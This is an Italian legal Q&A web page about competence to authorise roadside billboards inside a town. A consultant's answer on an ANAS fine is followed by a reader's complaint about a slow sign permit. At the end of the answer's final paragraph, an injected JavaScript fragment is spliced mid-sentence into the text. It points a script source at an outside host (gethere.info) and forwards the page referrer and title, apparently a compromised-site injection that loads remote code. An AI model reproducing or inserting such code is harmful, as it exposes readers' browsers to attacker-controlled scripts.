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Timestamp: 2017-09-22 13:30:51+00:00
Document Index: 102662530

Matched Legal Cases: ['art. 23', 'art. 23', 'art. 23', 'art. 23', 'art. 23', 'art. 23', 'art. 53']

In assenza di nulla osta l’ente proprietario della strada ha il diritto di elevare sanzioni e di chiedere la rimozione del mezzo pubblicitario? | AIFIL[IN]FORMA
Se un cartello pubblicitario è ubicato all’interno del centro abitato di un comune con 42.000 abitanti la competenza autorizzatoria appartiene esclusivamente al Comune, ai sensi del combinato disposto degli artt. 23, comma 4 e 26, comma 3, del Codice della Strada. L’ente proprietario della strada ha una competenza residuale sotto il profilo del rilascio del semplice nulla osta (atto endoprocedimentale).
GP2 agenzia pubblicitaria – Sabato30 Giugno 2012
L’ANAS, direzione regionale di Palermo, ci notifica un verbale di violazione delle norme del Codice della Strada (art. 23, commi 4 e 11) irrogando la sanzione di Euro 405,41 con contestuale diffida alla rimozione di un cartello pubblicitario installato in mancanza di autorizzazione dell’ANAS.
Ai sensi dell’art. 23, comma 13 bis, del Codice della Strada viene altresì minacciata la sanzione da Euro 4.455,00 a Euro 17.823,00 in caso di mancata rimozione entro dieci giorni dalla notifica della diffida. Il cartello in questione è ubicato all’interno del centro abitato di Sciacca ed è munito di autorizzazione edilizia del 1998; il cartello è visibile anche da Strada Statale. È legittimo il verbale dell’ANAS e cosa possiamo fare, eventualmente, per tutelarci?
Francesco Laruffa – mercoledì 4 luglio 2012
Il cartello è ubicato all’interno del centro abitato di Sciacca – comune con 42.000 abitanti – e dunque la competenza autorizzatoria appartiene esclusivamente al Comune, ai sensi del combinato disposto degli artt. 23, comma 4 e 26, comma 3, del Codice della Strada.
L’ANAS, nel caso di specie, essendo il cartello anche in vista di strada Statale, avrebbe, semmai, una competenza residuale sotto il profilo del rilascio del semplice nulla osta (atto endoprocedimentale) ma, sotto tale profilo, occorre rilevare che la norma (art. 23, comma 13bis) pone la sanzione a carico di colui che è privo dell’autorizzazione e non del nulla osta. Inoltre sempre la medesima norma dispone che è l’Ente proprietario della Strada a dover effettuare la diffida e l’eventuale successiva rimozione. Ma quale ente proprietario? il Comune o l’ANAS ?
A mio avviso poiché l’impianto è collocato in centro abitato lungo una strada comunale dovrebbe essere il comune, semmai, a dover disporre la rimozione dell’impianto e non l’ANAS la quale, tutt’al più può segnalare al Comune di Sciacca la rilevata presunta illegittimità dell’impianto per carenza del nulla osta.
Occorre precisare, poi, che in materia di pubblicità stradale non si applica in generale l’istituto del silenzio-assenso. Nel caso di specie, peraltro, l’autorizzazione comunale è del 1998 ed il rinnovo è stato richiesto soltanto nel settembre 2011.
Tuttavia poiché l’autorizzazione ha carattere edilizio e, dunque, privo di scadenza, si può a mio avviso ritenere assorbita in tale titolo l’autorizzazione ex art. 23 del Codice della Strada: “La collocazione di cartelli e di altri mezzi pubblicitari lungo le strade, o in vista di esse, è soggetta, ex art. 23, comma quarto, codice della strada (D.Lgs. 30 aprile 1992 n. 285), a specifica autorizzazione da parte dell’ente proprietario della strada, ovvero, nell’interno dei centri abitati, dei Comuni, salvo il preventivo nulla osta tecnico dell’ente proprietario se la strada è statale, regionale o provinciale; tuttavia, questa specifica autorizzazione non è necessaria nel caso in cui ente proprietario della strada sia il Comune, il quale, per la realizzazione di un manufatto avente finalità pubblicitaria, abbia rilasciato la concessione edilizia contenente la valutazione della sua compatibilità con le norme del codice della strada, in quanto in questa ipotesi la concessione assorbe l’autorizzazione ex art. 23 D.Lgs. 30 aprile 1992 n. 285 (codice della strada), tenuto anche conto che l’art. 53 del regolamento di esecuzione del codice della strada (D.P.R. n. 495 del 1992) riserva ai regolamenti comunali la disciplina per il rilascio di detta autorizzazione.” (Cass. civ. Sez. I, 26/11/2004, n. 22339)
Occorre poi, per completezza, precisare che il pagamento dell’imposta comunale sulla pubblicità non legittima di per se in generale la presenza dell’impianto pubblicitario ma può, ciò nonostante, costituire elemento di valutazione da parte del Giudice sotto il profilo della così detta buona fede del presunto trasgressore. Nel caso di specie in realtà sussiste sia il titolo (autorizzazione edilizia) che l’esatto adempimento anche degli obblighi tributari nei confronti del comune.
Suggerisco pertanto di impugnare con ricorso al Giudice di Pace competente territorialmente sia il verbale dell’ANAS che la diffida alla rimozione chiedendone la sospensione e informare tempestivamente per iscritto (meglio se con l’intervento di un avvocato) l’ANAS che il cartello verrà temporaneamente rimosso in attesa dell’esito della richiesta sospensiva al Giudice di Pace.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';
19 luglio 2012 alle 18:30
A proposito di autorizzazioni, di ANAS e di Società AUTOSTRADE, vorrei segnalare questo ESEMPIO di DISSERVIZIO
ANAS Ufficio speciale autostrade di Bologna
UN ANNO + UN MESE
per ottenere l’autorizzazione alla posa di un’insegna
Riportiamo qui di seguito una “case-history” che vede quale protagonista l’ANAS ufficio speciale autostrade con sede in Bologna.
Il tutto nasce dalla necessità di installare un’insegna d’esercizio posta in vista dell’autostrada A4 Milano-Venezia, l’azienda interessata si chiama “PEMCO EMAILS”
Tipologia di insegna richiesta: lettere scatolate luminose a parete
Ubicazione: su edificio a parete, parallela al senso di marcia
Dimensioni: entro mq 20 come previsto dal Codice della Strada
Enti coinvolti: Società Autostrade per l’Italia – Anas ufficio speciale autostrade di Bologna – Provincia di Bergamo – Comune di Filago
La pratica è stata espletata dalla VISUALCOLOR Srl, di seguito tutti i passaggi:
- In data 30/06/2011 è stata presentata la richiesta alla Società Autostrade per l’Italia Spa, (tronco di Novate M.se) la procedura pazzesca prevede che l’ufficio ricevente, nella fattispecie quello di Novate Milanese, fatte le opportune verifiche, trasmetta tutta la documentazione alla sede di Roma, che a sua volta ne trasmette copia all’ANAS ufficio speciale autostrade di Bologna. Quest’ultima verificata l’autorizzabilità secondo le norme del Codice della Strada, ritrasmette il parere alla Società Autostrade di Roma, che a sua volta le ritrasmette all’ufficio di Novate che finalmente può trasmettere l’atto definitivo all’azienda interessata
- In data 1//9/2011 viene richiesta da integrazione via e-mail del 1//9/2011 di quanto segue:
registrazione logo (non si capisce il motivo)
planimetria che riporti la distanza del fabbricato alla recinzione autostrada (come se non si sapesse)
- reperita tutta la documentazione, il tutto viene ritrasmesso tramite e-mail in data 11/10/2011
- successivamente si sono susseguiti diversi solleciti sia telefonici che tramite e-mail
- In data 02/07/2012 perviene, finalmente, via mail in “anteprima” il Nulla Osta da Anas
- In data 11/07/2012 perviene via mail l’autorizzazione da parte di Autostrade
-Nel frattempo il secondo Ente coinvolto, la Provincia d Bergamo non avendo ricevuto il Nulla Osta della Soc. Autostrade in tempi ragionevoli, ha ritenuto di archiviare la pratica, costringendo di fatto l’interessato a ripresentare nuova richiesta.
AD OGGI 19-07-2012 esattamente dopo 13 mesi si è quindi ancora in attesa di ottenere il Nulla Osta da parte della Provincia di Bergamo che dovrà integrare la richiesta per il Comune di Filago.
ALLA FACCIA DELLA SEMPLIFICAZIONE AMMINISTRATIVA!!!
Il Comune ha perso oltre un anno di imposte sulla pubblicità
La Società interessata è tutt’ora senza insegna
L’azienda costruttrice dell’insegna non ha lavorato
Lo Stato non ha incassato IVA, Tasse, ecc….
LA CAUSA DI TUTTO CIO’:
Sistema burocratico assurdo
mancanza di regole precise
personale lento, spesso timoroso e poco responsabile
E’ PROPRIO UNA VERGOGNA!!!
P.S. – Tutta la documentazione comprovante quanto sopra è resa disponibile per qualsiasi verifica